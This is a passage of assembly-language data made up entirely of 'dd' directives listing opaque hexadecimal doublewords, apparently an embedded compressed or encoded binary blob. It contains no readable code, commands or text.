6BA456BFh, 1F6A75C0h dd 940A07A1h, 303DE545h, 533217CEh, 9670393Eh, 0A4532B07h dd 7C80705Ch, 72BFF45Eh, 0EA7BCCh, 0BCA3A8DDh, 0A76A1F63h dd 6D687000h, 54DB4F98h, 7F7D0022h, 0D1BF6B2Ah, 3701E3DAh dd 4164C753h, 0CAF828B0h, 0DBF600CBh, 4A2BAB38h, 0AD00C625h dd 4CC4F871h, 3F7BD7Eh, 4485D76Fh, 40010407h, 367A20D6h dd 0E3CB9Dh, 79151978h, 3F547EDCh, 0B8143900h, 0B6F19689h dd 0E871CCh, 0FB5BD148h, 0CF7E1F76h, 0FD569D1Dh, 34D83000h dd 0C4D543h, 0D74F9915h, 91FAAA1Fh, 0FE8C3Dh, 0FC4175DFh dd 384730E9h, 9380AD56h, 0DB90028Ah, 6B004966h, 25E68F5Ch dd 446D7Bh, 0A1F619E4h, 2F710206h, 0F12E38h, 0D89F0C67h dd 7C0D9782h, 29B2E849h, 1AC7F75h, 0CF54727Ah, 0CE197064h dd 4D0029FAh, 5529FEEh, 2441B959h, 742A95h, 84BA03A6h dd 5458FF1Ch, 482B009Bh, 26D3F97h, 81F8AEh, 0DE1D55E0h dd 0B339A10Ch, 7700607Dh, 0DF59492Bh, 0B031AB5h, 5F6F8048h dd 0EB10D824h, 1AA0Bh, 7F1C26E4h, 4E9E003Ch, 2A5CA68Bh dd 5E3F3310h, 195509C7h, 865C20B3h, 9440A346h, 9481574Ch dd 426B9BBh, 681C10Ch, 47968704h, 9F6040EBh, 89C2D131h dd 52BB6818h, 0B5DB203Ch, 90B6C31Dh, 0C0191103h, 99211DBDh dd 0F3B90169h, 80BBC92Dh, 6C2C9708h, 4ACC2EB0h, 0E8B8A4h dd 0F419FADBh, 384D15Bh, 0BF0CA73Dh, 6012AE46h, 5890E3B3h dd 0B0439E91h, 3E80013Ch, 258481Ah, 4A2882A1h, 84AC47A4h dd 90A23F68h, 0E8A8CB37h, 7CA44301h, 1C0CF718h, 2BB99610h dd 0F4F31B00h, 771135DCh, 0AD16130Bh, 688821Eh, 6451BCh dd 0AC85B949h, 470E41A0h, 20E91270h, 9925C7B1h, 178B25C1h dd 900B2F56h, 46148066h, 7869789h, 82FC7838h, 0C7E6E4AFh dd 0BA00EBF1h, 0D0878BC5h, 0B929D31Ch, 569611C0h, 33721B0h dd 1305617Ah, 0CDD88072h, 14000CB4h, 58279836h, 13956BCh dd 0B9CA6D1Dh, 20E7554Ch, 99000AA9h, 0BA85F91Fh, 78582D51h dd 0CD4900E5h, 0E3DDA1C1h, 0CC0581C5h, 23625982h, 0DB978847h dd 88263143h, 93C8FAh, 47919C6Ch, 0A485FFE5h, 947E3E00h dd 0B1FED919h, 0C739DEB8h, 0D12E13D3h, 40526290h, 0E68877C4h dd 80FFEF14h, 0D7AD0014h, 0A7D1FD2Eh, 0AC010AC6h, 3F0B2F0h dd 4F6A1B9Bh, 2243EAD0h, 0CF041800h, 9597E2A2h, 105793Ah dd 66714119h, 65322BBh, 0AFB60069h, 0E6B3BD34h, 0CD0093C1h dd 1732F9F8h, 0E0743D5h, 1806AA97h, 47D0C220h, 7600A6B2h dd 699FE098h, 30651A4Fh, 7910BE97h, 9939ABAEh, 0A3010CF5h dd 601E69D0h, 94297197h, 521F7557h, 0F50C0A7Ah, 3FE1835h dd 2F16A4C2h, 91A88417h, 0EA1CD2CDh, 0D7C0FA10h, 0D8110D1Bh dd 0E17AF92Fh, 0E037E564h, 890035EEh, 618EDE27h, 0A355CBh dd 1162F9BFh, 3D6471E2h, 97F2213Ah, 4B03A4C7h, 0A0A546C5h dd 392A30ECh, 23817B19h, 41A4DB93h, 0C90898ABh, 358B21h dd 1ED647Bh, 0A979F0F4h, 0CA00BF7Ch, 51070EC3h, 575D45h dd 5686FA11h, 6D3D4937h, 0B58FD300h, 0DD7E4427h, 74D20078h dd 21692E1Ah, 0FC032677h, 18A4F9EAh, 596800D6h, 9DA3E59Ah dd 261973D3h, 0C020BC78h, 65EA8980h, 0AE4C2447h, 2350DF61h dd 9A70F6EFh, 69A409FDh, 0DD800197h, 0CADABA4Dh, 0A2943918h dd 4CBC1041h, 9F037827h, 64B5B861h, 0C8EA0830h, 84E6ECh dd 0A5AEFA27h, 43F11137h, 0FB73447Ch, 0E1B47600h, 47AC65D4h dd 11A3071Eh, 0E052662Ah, 9F70F76Ah, 95E56400h, 2D383D8Fh dd 66D0023h, 8DAD13A8h, 7500F8B8h, 0BA0D1764h, 3D0DD48h dd 1CCD3C52h, 0E1F85E03h, 6524A35Bh, 9F3F5FD9h, 56409B34h dd 0EE20586Bh, 3E4C707Ch, 369C0809h, 81901F39h, 0B3118C59h dd 0E2C66055h, 0EAD79900h, 1F153CF5h, 27AF0045h, 5EE9E719h dd 70009383h, 0C35AF9DEh, 1E63BF3Bh, 40C65CB3h, 54A0D45Fh dd 6D0E2DE6h, 0A0434CB8h, 0BFAFE2F3h, 28740657h, 416165FBh dd 0F41B13Fh, 2012272Ch, 0F8C3B47Bh, 661F009Bh, 0B56F2CFh dd 9FF41E92h, 8C0E9400h, 0BF0682D9h, 0B82F1885h, 70914914h dd 2CF66C00h, 0E372046Fh, 0B77F075Fh, 508C2823h, 0CCBFD27Bh dd 46E7900h, 6620C12Dh, 0ED3F0CAFh, 0F958BC8Fh, 0B0E21800h dd 583B8098h, 0F85B1C82h, 6B5DC3EAh, 0FB89A67h, 1138934Fh dd 3BCB00DBh, 351882E3h, 3DF5FAE7h, 9D807A61h, 9A45E1C4h dd 0A7047693h, 0AB74422Ch, 0F37EC0ABh, 0E4072AA1h, 75B03F7Ah dd 29868EF5h, 94730C80h, 39D004EDh, 5E50800h, 6584A020h dd 2D4203C4h, 0A8EF57E3h, 0F532D803h, 3806BEC0h, 8100FE30h dd 0EFD32227h, 930F5FE2h, 20287701h, 67C313Fh, 65BB04C3h dd 807E2B8Fh, 0A721C23Dh, 0C90F4300h, 0D8E694B8h, 3E397642h dd 0DC00778Fh, 0FE3A52A4h, 1B011208h, 0A7EE0C23h, 88C2451h dd 9120A5C9h, 6012DE1Ch, 204D830Fh, 2CA2B535h, 50CB0054h dd 8F96A6CFh, 38733B53h, 44DE3A00h, 0B793FDDCh, 1DCAFA73h dd 1181CE0Fh, 744F0330h, 0C06E8DFAh, 0E15694h, 0BAF795ACh dd 0CF18480h, 26618C0Ch, 4D8611Fh, 17DEA30Eh, 0CA40037h dd 659162h, 24017667h, 52A35EA8h, 38272E01h, 0DE39784Dh dd 7DF0E1B2h, 3C120A30h, 0EFA12255h, 8B21C898h, 71123FE1h dd 9D9F1000h, 25D90D5Ah dd 9763E40Eh, 60AC052h, 54F25FC8h, 8C40A878h, 1C120705h dd 30223423h, 0D99020D7h, 93027912h, 5B167FF8h, 0B98CA036h dd 3CC08D0h, 4C998CFBh, 70409537h, 38432DB0h, 0A4FD2A1Fh dd 0B08E1481h, 118045C8h, 0D76FFA7Dh, 0B98F39EEh, 0CF680106h dd 5305B038h, 0AF375AD0h, 25639E00h, 76052F95h, 4304003Ch dd 0F80C3603h, 6873ED6Bh, 3148D31Fh, 79DCFFC0h, 3AEE5AABh dd 2501E7DAh, 85E6E5A4h, 8E4607Ah, 0F4D0D700h, 44EA45C2h dd 29C501DEh, 0ACE3EEF2h, 9936F4BCh, 1DE66E00h, 0A87438AFh dd 136400B2h, 73D0BB59h, 6C003B33h, 0A3C8F5E5h, 405D62Ch dd 6E9C0C07h, 32A4831Bh, 42B001E3h, 81F452F6h, 99D1B100h dd 54E42DFAh, 1DCE8F0h, 0F179BF63h, 0C86F76D4h, 0DF003D37h dd 0AC2E38BEh, 0EEBB4FEAh, 9C4A00ECh, 0C7331AEh, 0D503E0EFh dd 9FB2B18Bh, 3262A892h, 58E003Dh, 0A2BCA772h, 713CE877h dd 0E468E3E2h, 0E071005Ah, 5DC3599Bh, 791DFC4Ah, 2B01EB90h dd 49B4738Ah, 785330h, 0F0D42329h, 37FB5C63h, 0E8261E00h dd 0CAF46174h, 0ABB40F7Ch, 72A0016Dh, 6B5C2DF1h, 3E63A600h dd 0E15DC7D5h, 0D1C43CF2h, 2B5EFA81h, 806D3315h, 3D8BEDB8h dd 3DC4DB0Bh, 0B48C5B2Dh, 4F48DC32h, 9D09E703h, 207CA9h dd 46795DB2h, 39DF12F7h, 0E75504A5h, 7E90103Fh, 2A007761h dd 0E445DAC8h, 0FB23Ch, 0BAAF78BDh, 41D7E766h, 3947910Fh dd 80790EECh, 807EE1E9h, 54F874h, 702D20DBh, 864CFDAh dd 0E0072AB8h, 2A9D3071h, 39AE5441h, 0E4E95721h, 956760h dd 40615593h, 9DA51427h, 0F20348B8h, 7E798892h, 65E8B8CEh dd 36550F1Bh, 0DE4056h, 95E4712h, 0F83A2660h, 39FA0024h dd 0B3EE627Fh, 0C2C100ECh, 4412E088h, 63623E66h, 225E6028h dd 0AE22EF09h, 385D218Dh, 103C0284h, 9A890CFDh, 0EEC52843h dd 5F182229h, 2209D122h, 0BC228AE6h, 63342220h, 42B15F22h dd 14D621D2h, 3113C30h, 14BE28B6h, 222BE122h, 4C22B4CCh dd 642A50B8h, 0E8334465h, 0ED786E44h, 1482F612h, 0C4242C0Ch dd 4AB07427h, 4D143C62h, 6D801014h, 0F4B11700h, 0A3F3DF6Ch dd 0AF007677h, 79E30FB3h, 3F834FFh, 4257F99Ah, 83E9BC31h dd 0B71606Fh, 72443B0Fh, 5B2AC1FCh, 20C4F424h, 0FD5E26C2h dd 0C0A21EC1h, 0BEF2269Fh, 3507EAD4h, 0A301A6F0h, 0C9002237h dd 1F3351C8h, 0C0B242A0h, 865B4543h, 813E7389h, 5FCE8083h dd 7040DE20h, 16CD0163h, 735F21Dh, 0A7F6095h, 0C31C2A07h dd 0CCBCCF42h, 9F2300DCh, 9DE98A33h, 0B1D2C6Dh, 483CD2E5h dd 0E3490090h, 0F5CB8F24h, 25E232h, 591D9D62h, 1AA9DE2Fh dd 78E0063Ah, 58B0E960h, 6F565Fh, 0DC0FB71h, 6B503077h dd 8CBDAF01h, 0F9F6B431h, 59BC20h, 4618B15Eh, 293597B2h dd 667A1D01h, 0B080081Eh, 62FEE4h, 0E5FCB928h, 47FDCA6h dd 0A6ECE1Eh, 51BBACC0h, 3A9500Fh, 0F8359AFDh, 57E85901h dd 3200AA3Bh, 65E3C6DBh, 1E6A9ECCh, 808DA0BAh, 7813B0B6h dd 280010BDh, 0C775DD1Fh, 3C733576h, 630029BFh, 4D06D7F1h dd 0F000AF05h, 0C7A9D6A7h, 7EB98Bh, 7CC4B2F7h, 2DE3D4Ah dd 62061B00h, 779EA8B5h, 287A0007h, 2D4D11C4h, 51728756h dd 0DFC8D500h, 4B291062h, 447E6Eh, 72C91E9Dh, 695F6F99h dd 76FA801Ch, 0D240A31Dh, 0D7E5D9B6h, 7017033Fh, 0A020F544h dd 4FDD0EC0h, 596A7500h, 8299CA60h, 0CAD0E54h, 0CEE26E8Eh dd 0D9704338h, 677C1601h, 0CA32EBD6h, 4D3F40C2h, 3F300092h dd 68D72F55h, 84F64825h, 0E267200h, 0BAD55DFBh, 0CE7DC1h dd 1B69A6DEh, 1A2BA173h, 0B2170C00h, 0EEB3062h, 0C675E6h dd 0A4287D4Ah, 0CD512F08h, 0BAD8CE00h, 6EFCE934h, 0CC320094h dd 5D229FE4h, 6C006354h, 0A433A7Ah, 39077FBh, 469B7983h dd 0CDB85558h, 2377410Ch, 0E05CA200h, 71E71B5h, 56500EABh dd 0AD400B2Ah, 0CAC84A9Fh, 155B8B02h, 806E047Bh, 0AFD9F4CCh dd 0E68500E3h, 0BC5D3E48h, 61EA2FCCh, 9BD32E07h, 1700EB04h dd 14822CFh, 5A4E0A53h, 409D39D0h, 0D101F4A0h, 73D6AC03h dd 651D9Ch, 0EAFD3BB0h, 99A3B03Eh, 960FC5E0h, 80BCB67Ch dd 8774F2Eh, 41C709B5h, 9581D8C6h, 0FCDE8C74h, 911DCA64h dd 0F00A8EDh, 0AA9476F7h, 689F0062h, 6EE95543h, 0E50E7925h dd 0A0445E04h, 93BD4C64h, 0EF2C0089h, 0C2716253h, 163DFF1Eh dd 779F8168h, 27C3E67Ch, 598ECCh, 0E20428A8h, 0DCD15572h dd 6F36BB01h, 13A6F682h, 0A55FE0h, 0ED10BE97h, 17268611h dd 39FC2400h, 81F07E71h, 0A7A801F8h, 0D46C6A83h, 0E055300Fh dd 0B5AB4000h, 6114CD3Fh, 0EB4600CCh, 4E56F651h, 5E00E744h dd 0FC45B507h, 9F86DFh, 46349794h, 0C0025A38h, 22481503h dd 0F075EAA0h, 748D56h, 16B725Eh, 7C39E516h, 0BC70983Ah dd 0AE7A75FCh, 0DBF20D00h, 316F2C50h, 0F9F50040h, 87E2708Bh dd 0A97925A7h, 11334100h, 0C80782D1h, 0EED7F649h, 0B42700F0h dd 81A36846h, 0C09BD7Eh, 4FCEFEh, 49ECE282h, 2643F1Dh dd 0DC21B587h, 0B037506Ah, 3000344Ah, 617952Bh, 73C1A6Bh dd 0C176DA32h, 66CC3384h, 9683FDF0h, 0B85E6D00h, 74DB38D7h dd 65F00043h, 986AB418h, 2158C799h, 0CA051E23h, 87418586h dd 0D4F458h, 513EBE67h, 3C03894Fh, 0A3D08600h, 402390D9h dd 0D72A0F63h, 0F761A7CCh, 0D53014BBh, 7C7E30C6h, 0A50C9300h dd 0FDB786D6h, 92DD0025h, 183C07D4h, 5B006337h, 2D82CFA4h dd 0A1BBB7h, 0C79DD3E5h, 198A4B44h, 8FEBC00Fh, 43E68036h dd 13E8AB94h, 1173E15h, 0C4B5C29h, 0BE79D89Dh, 0BFC32A03h dd 0B81040D9h, 1FE4EC1Fh, 84C56FE8h, 81776D8Bh, 0D9E2F946h dd 2CA0507Bh, 6300F42Bh, 0D9B779B3h, 3204E1Fh, 0E2E3ECBCh dd 71809B88h, 0A30904Dh, 366AB81Ah, 0B9620014h, 0F0C1CE1Ch dd 0E4002A70h, 0FB0D3A78h, 3DE75998h, 0A35CA614h, 66EA800h dd 272E37Fh, 0CA4F4700h, 0B9DD229Ah, 39270025h, 6A5DB005h dd 0EC0E96C8h, 80FD2833h, 306FDEC3h, 1A77000Ah, 0BAE75C9Fh dd 5D00E88Dh, 6BA8B1EDh, 0EBEEC4h, 0B74F80A7h, 0BFFA0CD0h dd 0ADE06A00h, 18A6D205h, 52EA91h, 0ABE3CBB8h, 0DF5C9AE4h dd 0D2371100h, 3CF1E927h, 8B8807EFh, 0D02DD708h, 332202C5h dd 7E15A50Fh, 643F8053h, 26CF9872h, 0F7FE87h, 20E0B7C7h dd 4CEC7C42h, 0B4101F00h, 0D78A7A68h, 0DAFC5C49h, 16E29500h dd 7E0B8EBh, 170BAC00h, 92D95A3Bh, 0B74901D6h, 0A4C3A881h dd 9E07F2Eh, 1E8C7635h, 4024587Eh, 72E60A5Bh, 4F01F475h dd 914B98BEh, 0B0D8C47Dh, 8AE7052Ah, 0C035707Eh, 0DD5FC95Eh dd 7F00B2FCh, 6B6D9F41h, 802D27h, 0FA98254Dh, 0DABE094Bh dd 8A183001h, 2E176614h, 28D2C240h, 0C1851FFFh, 0E1CE011Eh dd 40DE6B64h, 86C2FA96h, 0FD208D00h, 0A64B6324h, 46050007h dd 0CF9E7D54h, 92C7CC7Eh, 0FD80D5C9h, 0FC7BF3h, 0F444F5D0h dd 0E279BB5Ch, 1BA4CD00h, 1535D65Bh, 0B4660039h, 47C1D0C4h dd 4F0064E9h, 78BD7960h, 3C39ACDh, 2EEF938Ah, 5CE338C1h dd 7FC0EFE5h, 51399Dh, 0B15F1BF2h, 892A640Ah, 2FB45D02h dd 60CEE812h, 0BB9383h, 0D5B079C3h, 17CBA391h, 0AFC83D02h dd 8EF8F3A0h, 7D0193FCh, 0B4E9DC6Bh, 0E05C8h, 6A199A0Fh dd 5042FCA0h, 0C1BC7300h, 3E83ABA3h, 749E1D79h, 0BE48401Bh dd 0A81C0B4Bh, 9678EC01h dd 0FAA03DADh, 12DEFC40h, 0CF68000Fh, 1C9F8491h, 1A004718h dd 6BD537BCh, 0BFC22Bh, 43B3599h, 9C5C1901h, 85E0BE00h dd 0AA326DC3h, 8923Ah, 31303926h, 6E2262DDh, 80806A3Dh dd 64A05371h, 0CCB594h, 9F01D8B6h, 406C87A3h, 2D5CF700h dd 0AB8CF52Ch, 14A7C07h, 0B53F7365h, 24B47Ch, 463093h dd 60F2A25Fh, 4A22693Dh, 3F00B9B0h, 5D80AD38h, 549BDFh dd 7BA72B35h, 9D06CA0Dh, 293B7D12h, 56A28400h, 705B7566h dd 0AC40F384h, 2E40D7h, 37230BC4h, 0C67721B1h, 5895FC00h dd 0BD685DF6h, 69D30015h, 2773A7B4h, 55006145h, 8E021C9Dh dd 577C34h, 1474D110h, 0F8BFFF5Eh, 485F3A80h, 0F000A843h dd 4D6B70A6h, 0C7001939h, 0ACBA9C82h, 975FFDh, 8F606A3Bh dd 0B39FA202h, 3C8C3407h, 3A5189BAh, 3DE8BC1Bh, 0D190F0h dd 0CE3EFFA2h, 76810B9h, 5A400403h, 0C9156FDAh, 0AC30B387h dd 28E85CF2h, 0D7B2CB0Ah, 175A00CCh, 6F19784Bh, 9E887E00h dd 0D060D31Ch, 1347C85h, 2514F8C1h, 20C9A469h, 30009CC9h dd 37BEFFAFh, 0EA0E01h, 53940350h, 6CB798B6h, 0D95A700h dd 65C8CDADh, 9C50030Fh, 435B3A67h, 947BFEA0h, 7F9B2313h dd 92896C00h, 0BDB5E5h, 4D5118D1h, 0F9656350h, 0C8A4D900h dd 56BCE79Ch, 0AF460027h, 0C269FC9h, 9017DA05h, 61009638h dd 0B8021A93h, 4E5A004Fh, 29173660h, 0F04B30BDh, 0C724DF81h dd 117093EDh, 0B40200B5h, 1B5C162Eh, 0AB3F2B51h, 62D6A6DBh dd 0D50EF401h, 108043BFh, 0B0C281CAh, 8A00D494h, 0C6B7FC71h dd 124C3BCEh, 292E2E4h, 7C530252h, 0D3C53440h, 76DBA200h dd 71784D58h, 0B6B007Ah, 52649FBAh, 500BC54h, 14993D1Fh dd 0E258164Ah, 0F93000E4h, 0C006D004h, 0F7198CFEh, 4A101366h dd 0E245FF0h, 32E76076h, 6F55DB00h, 0A30B1854h, 806AD2C0h dd 30B7E9C8h, 71537195h, 0B3A700ADh, 0BCD63C57h, 0F600AC77h dd 942EBFF0h, 115904Fh, 0DBA5BE0h, 0E412A66Dh, 1FF49176h dd 51A88A00h, 9E53ED3Fh, 0F6F04B1h, 0C08CC706h, 0ABF77E87h dd 9AE6EB00h, 0B38587A9h, 0C7D8133Bh, 407B1C9Bh, 0F35A2303h dd 0B03D3DE4h, 0E28A1E87h, 0CA327E80h, 3F5BFD4Fh, 0CE80DB7Ch dd 0B205C8DAh, 0BB3D7753h, 922C07E0h, 0FEB01E78h, 1C14936Dh dd 70DFCCA1h, 1265E878h, 0BF03F374h, 0FF236D46h, 34F428ACh dd 512B008Fh, 0A624EC81h, 0A0007F26h, 733FCE72h, 1D89D8FAh dd 47DFDC05h, 1088ADA4h, 324B9EFCh, 0B8B08C00h, 0AEA3F3E1h dd 50D400FFh, 93022CF7h, 0B700D06Ch, 0EEE864D8h, 0B55F98h dd 379EFA8h, 3367A4A2h, 0F100CC90h, 501492B3h, 660B19h dd 7DF6BF34h, 98FEF5E1h, 68015879h, 0E58D3ABBh, 45E4E9CBh dd 9FB0F6h, 385CF094h, 7DDE7687h, 89493A00h, 85EAEF9Dh dd 114B0253h, 0FE1B16BDh, 0EBD7C9E0h, 0AD99551Fh, 9B48F8C0h dd 0E70DF7h, 36A94EC0h, 3C5F2861h, 56CA51Eh, 0C9A032h dd 680CFA7Fh, 26E3FE07h, 7210EDE9h, 5F38F6h, 16D6FB31h dd 545933C9h, 9AB6D00h, 62A03AADh, 16298EFh, 0E2A19B04h dd 0F74C29D3h, 0C00515C9h, 6A18543Dh, 5E18CF7Ah, 2FC50024h dd 0CB670DF5h, 0B2FCE3DEh, 34DF8300h, 5A738BEAh, 0CACE2B9h dd 0A7CB42Ah, 34004621h, 53AD04D9h, 8B6E8Ch, 0C272D785h dd 9A5B5FD4h, 47839C0h, 0AB09FFh, 3DBF0223h, 25DA191Eh dd 0F9205960h, 79B1E32Fh, 3DFF76D6h, 4258363Bh, 0EB774160h dd 81607E3Ah, 161A1911h, 0AD1B0096h, 0D4465915h, 7C0E4A4Bh dd 400DACDAh, 58423D2Bh, 597F0013h, 8286D0BDh, 0AA00BFD1h dd 0E3AD4D28h, 2852D5E1h, 0E9C7C0Ah, 9CA5EC0Bh, 2455A203h dd 8DF732C0h, 5933B00h, 51DF77B8h, 83B1002Ch, 28ADCFD1h dd 78012964h, 0FBE931F9h, 0FFC86EB0h, 24FA7C66h, 0FAB9B7h dd 0E3906783h, 48005075h, 0B149ABEFh, 0D64C80h, 24749F66h dd 0E769BEDEh, 3A154700h, 0E2A0EF41h, 6FE5001Eh, 0D8FB49CCh dd 5928908Bh, 0B800BCBBh, 35CB9927h, 0F4CD0Ch, 37AD6F05h dd 9BB570CAh, 416A9005h, 0E038ED52h, 7AFB7F3Ch, 0F3DF01A5h dd 0CDD5E624h, 6D80F48Dh, 1F006EFAh, 53F74806h, 0EA19842h dd 76266FF1h, 9065EB40h, 88C77910h, 8490FB21h, 16D2C1h dd 928E74FFh, 0C6CB8530h, 0CCCD6F00h, 24628460h, 34BC5895h dd 0F04FAF0Dh, 0AAA7EC98h, 0BB581103h, 0C8CC5248h, 493D974Bh dd 6D310C2Dh, 20D4271Ah, 361E7054h, 0D7C02BA4h, 0EBFDD046h dd 0BDFE7Bh, 0C4F64992h, 6A30869Ch, 19ECC1F6h, 34022407h dd 0BE155AECh, 5F5CD980h, 60D048FFh, 1A85AE3Eh, 4065CC04h dd 0CBA13B50h, 1B0068FBh, 0E5C7E2B6h, 0BE830Eh, 90E3B85Eh dd 0F66EAB9Ah, 81133Eh, 32D3A89h, 8525C2h, 8CFDE50Dh, 5D962C48h dd 7D663E00h, 0A0EAB90Eh, 6488006Ah, 1EDD358Eh, 2E00A66Eh dd 3F288303h, 0F4F530FEh, 6A4B03FFh, 0F110C2EEh, 88C08DFAh dd 15003A55h, 0D4395A46h, 0FAE07C93h, 0DA09001Dh, 4C115908h dd 0EE3AD118h, 19C380FFh, 46CCB961h, 0EBA800C2h, 382D036Ah dd 891F3B40h, 9681B007h, 0FB17831Dh, 3562730h, 19EBEFACh dd 0C5DB8E7Dh, 97D90588h, 5961CD00h, 44B9326Fh, 0E0B300B4h dd 3C3B1F94h, 0A0C08C21h, 19EAAA89h, 3BE7FB5h, 0A4FF1C0Dh dd 9000E2D9h, 389F3AC6h, 276E8EDh, 8380019Bh, 7560BA11h dd 0F780E72Eh, 6B3A09ECh, 0C8804332h, 7AA91EEFh, 0E0F678FEh dd 8D9A2D06h, 7E07C0Ch, 4FC947C6h, 94C04E40h, 0BB0B9D6Ah dd 61A26803h, 0B0DC08A7h, 0AD4E70h, 0E530063Dh, 891D41EFh dd 386D0F0Fh, 77450028h, 147A0B70h, 98FC5043h, 0D821080Fh dd 0F7519280h, 0F83C0571h, 0B50A8004h, 39CC0D17h, 48578A0h dd 0EF4A203Dh, 0CB09086h, 5800FB50h, 37DD1615h, 0AAC7ACh dd 279EA27Eh, 4902ED5Eh, 0D97C4B07h, 8F80D241h, 0A99CEAh dd 3CDD4A4Eh, 956454F7h, 33720503h, 918144A3h, 0B820BA82h dd 314A24D1h, 2C3B6070h, 3C4924F9h, 0D0BF00C4h, 0C9FA0D08h dd 126C9AFEh, 1C3496C7h, 9C3CCE68h, 0BAC0A880h, 0CA03260Ah dd 0F7E1EFCDh, 0D30E9003h, 0B9B80FD4h, 0BF49DBC0h, 5B750101h dd 76F824C1h, 9FCBC0DCh, 0A07D8934h, 9B2C1C2Ch, 0EE9D0073h dd 0DFD18F55h, 0BA00E320h, 30829775h, 12E6F56h, 5A29D510h dd 0F83150C9h, 49002226h, 0C805B9C6h, 0C0AF6Dh, 4418736h dd 0D58B9D56h, 26FD0B24h, 0BD10AD00h, 48E3ADBh, 8AEE260Fh dd 45E48069h, 0C0A8A43Dh, 0B4016C16h, 0C4E99F4Ah, 0D0FF71A5h dd 3DF5B60h, 90F5D24Dh, 0AED055BFh, 5C00AA21h, 0CCD3896Fh dd 0ECD43625h, 0E90D01F9h, 5870DD26h, 0E1BD88Ah, 0BA17500h dd 4310BB48h, 0CD30069h, 0AC6CC911h, 0DF385532h, 84B487C0h dd 0DEC73935h, 38810BB5h, 0BC41707Ah, 2CDC5F2Dh, 90934C40h dd 0EE9F1C00h, 544C463h, 0AE247A03h, 92940D58h, 0D06CE330h dd 736879Ch, 2D20BF0Ch, 0FB0FA06Ch, 0A300D84Ah, 3760DFCDh dd 95BCF1h, 96F90E6Dh, 67D4B281h, 59C03800h, 8D99E2B0h dd 0FD7F005Ch, 7C976BB6h, 9507F1CAh, 49FEB3B2h, 0A6C765F4h dd 32CCB480h, 0F6D5007Dh, 0ED605F1Dh, 9E00CD19h, 978D96CAh dd 8FA431h, 0ABCF8349h, 1C95EE4Ah, 9CCB100h, 822903Fh dd 6E650031h, 0E24F3D12h, 0F800B22Ch, 4B70F689h, 0F846842h dd 3EA4237Dh, 0A773AB40h, 4E0136BBh, 0F444246Dh, 9C4077B6h dd 8DDF0Dh dd 0D74965EEh, 0BC37BBC2h, 87509900h, 733D761Fh, 0B3C000FEh dd 0F4E05B6Ch, 5D073BECh, 27C653A7h, 852134B0h, 78D8004Bh dd 509B64A3h, 0F100B6E5h, 678BECD9h, 729C2788h, 3A9F0021h dd 0AA2EDFB0h, 3F01B74Ch, 0FC5B585h, 23D40942h, 0E47517h dd 21A82C9Ah, 3F8F2B91h, 4E091670h, 80E26DB8h, 80EB3D8h dd 982100B0h, 0B6E90CC4h, 72003C4Eh, 3A35D1Eh, 43637Ah dd 71D2159Bh, 3E595AEBh, 0EEC052E2h, 0BC9196B3h, 86C30011h dd 0AA425583h, 0F004DCCh, 5051A8A3h, 67BD0Dh, 7C6CB4A9h dd 7E44F3B8h, 0CBDF230Ch, 0A0359029h, 3509284h, 0B0E08DF8h dd 48004D6Bh, 0BCB2DFABh, 3D21C0A0h, 4418FC90h, 6EB1A9ACh dd 3DD7611Eh, 66007CACh, 0EF70909Ah, 7E8000F1h, 0DF35377Ah dd 898CC83h, 4FE14400h, 86BB07DCh, 0AE000AAh, 0E9581512h dd 1698F7C7h, 29540C00h, 0FA67319Ch, 2C9E00DCh, 0B1B63D5Dh dd 0C4A807A8h, 0A4E026E6h, 0AD51CC1Ch, 38B4C6C0h, 787AC1Ah dd 0C66A94Ch, 0FD680063h, 0C8C0B6EAh, 3F49ECF5h, 18041D9Bh dd 55278798h, 384A700Ch, 0E100EA09h, 0B2EB3186h, 9279D353h dd 5994035Ch, 85C24D7Ah, 75A870B0h, 0A45F242Ch, 456C6701h dd 0E464076Bh, 0D24A0086h, 0A1F15798h, 1D76AC70h, 0EA675302h dd 0C0DF2E73h, 7828D4C9h, 98610068h, 0DBF37FCCh, 34097BBEh dd 8862AC4Dh, 0FC0198B8h, 0AD970BBDh, 14060h, 0EEBAF66Ch dd 4D1A6131h, 0FB722F90h, 590005ECh, 7BB852C0h, 153BA7h dd 0EB9909D0h, 61E97FB3h, 82D90E05h, 98015451h, 7CF669Eh dd 9D2EE80Ch, 1BA9C75h, 3C2F47BDh, 0F6472C33h, 0B411C860h dd 6CB500AFh, 0B3FDFB16h, 7000851h, 80BBFF9Fh, 1E709CB0h dd 0C148DDABh, 6B568C3Eh, 1B8080E9h, 46854BFCh, 0AEEA00FEh dd 5162C5D9h, 0B50096AFh, 0C41F8B79h, 0CDA467h, 0A03A71CFh dd 52B25127h, 7CC18500h, 0CCA8033Ch, 0D4920008h, 0C9291C11h dd 270397EEh, 0F8A3E8A0h, 0B939C8CAh, 7FEEDAh, 128B6C3Bh dd 0C87C1A9h, 0AA149400h, 31F4FBFDh, 0DD30EE5h, 49017902h dd 0E4B56075h, 221EA49Ah, 9D40DA96h, 0B114B368h, 0FDA6133Eh dd 0FAD04425h, 69608015h, 530E55E7h, 0E078479Eh, 834D7E2h dd 334400FFh, 0C80C71DEh, 0DF02A3C0h, 2F68BE5Ah, 0F140FF55h dd 0BB069B40h, 0BF4DA4C1h, 67E400B0h, 5A3AA57Ah, 9E0F6F77h dd 40D9D479h, 1751D0B2h, 22F13CA3h, 0FA500E80h, 5535EAC6h dd 9E4BA600h, 1E2707C0h, 0CDE50069h, 0B372BC56h, 8900093Eh dd 9FDE7D15h, 5121BBh, 6CC1E57Ah, 0B2CCAB1Ch, 61B1D12h dd 820C846h, 0CB830070h, 16F85C96h, 3F03EC65h, 38A045CFh dd 2259D86Fh, 0B8C7006Ch, 5AA28C9h, 4103BE6Ah, 9662E91Eh dd 0BDD7B109h, 7AA34880h, 656AD42Ch, 0BF91B600h, 0B37513F4h dd 0C7EAA7h, 8C503E12h, 5B34A187h, 91B1DD00h, 38C9AAA9h dd 2A0C07C7h, 5F72EA21h, 0EE0D7820h, 93006C50h, 734F7BF6h dd 78D9B013h, 0F0335C8Ch, 5120D18Eh, 3B83CED8h, 6EB6103h dd 8710222Fh, 0B0F64750h, 15F70F3h, 0E4705B59h, 7018F5A0h dd 44007A98h, 60AFB92Dh, 37181BCh, 171DF25Ah, 8BA0B116h dd 3E0EB442h, 0A2124D9Bh, 4858FE15h, 1C11A9Ch, 18B1F8CEh dd 0D4694041h, 151CE095h, 0B6C0742Bh, 463AE205h, 392D3FCDh dd 89321200h, 0CF6B9257h, 7A5DE000h, 0BCAAF83Fh, 8A4B00A1h dd 0C92E0D91h, 0E1020F3Bh, 0F098CBC8h, 0E22C069h, 0C5E00Ah dd 9F4B51B5h, 